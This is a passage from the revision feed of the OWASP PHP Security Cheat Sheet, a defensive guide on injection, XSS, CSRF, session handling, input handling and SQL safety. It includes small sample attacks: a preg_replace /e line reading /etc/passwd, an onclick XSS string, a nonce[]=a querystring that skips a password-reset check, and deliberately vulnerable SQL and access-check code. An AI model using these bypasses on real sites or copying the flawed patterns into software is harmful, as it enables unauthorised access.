Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
[mailto:L.Plant.98@cantab.net Luke Plant]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184336</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184336"/>
				<updated>2014-10-30T08:36:21Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: /* Input handling */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:&lt;br /&gt;
&lt;br /&gt;
    $db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');&lt;br /&gt;
&lt;br /&gt;
    function can_access_feature($current_user) {&lt;br /&gt;
        global $db_link;&lt;br /&gt;
        $username = mysqli_real_escape_string($db_link, $current_user-&amp;gt;username);&lt;br /&gt;
        $res = mysqli_query($db_link, &amp;quot;SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';&amp;quot;);&lt;br /&gt;
        $row = mysqli_fetch_array($res);&lt;br /&gt;
        if ((int)$row[0] &amp;gt; 0) {&lt;br /&gt;
            return false;&lt;br /&gt;
        } else {&lt;br /&gt;
            return true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (!can_access_feature($current_user)) {&lt;br /&gt;
        exit();&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Code for feature here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the &amp;lt;code&amp;gt;mysqli_&amp;lt;/code&amp;gt; functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable &amp;lt;code&amp;gt;$row&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and PHP will evaluate &amp;lt;code&amp;gt;$row[0]&amp;lt;/code&amp;gt; also as &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(int)$row[0]&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;0&amp;lt;/code&amp;gt;, due to weak typing. Eventually the &amp;lt;code&amp;gt;can_access_feature&amp;lt;/code&amp;gt; function returns &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;, giving access to all users, whether they are on the blacklist or not.&lt;br /&gt;
&lt;br /&gt;
The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
PHP also provides an 'array' data structure, which is used extensively in all PHP code and internally, that is a confusing mix between an array and a dictionary. This confusion can cause even experience PHP developers to introduce critical security vulnerabilities such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] (see [http://cgit.drupalcode.org/drupal/commit/?id=26a7752c34321fd9cb889308f507ca6bdb777f08 the patch]).&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
Exactly the same issue, combined with the confusion of PHP's 'array' data structure, can be exploited in issues such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] - see [http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo example exploit].&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
See the PHP docs on [http://php.net/manual/en/mysqli.quickstart.prepared-statements.php MySQLi prepared statements] and [http://php.net/manual/en/pdo.prepare.php PDO prepared statements]&lt;br /&gt;
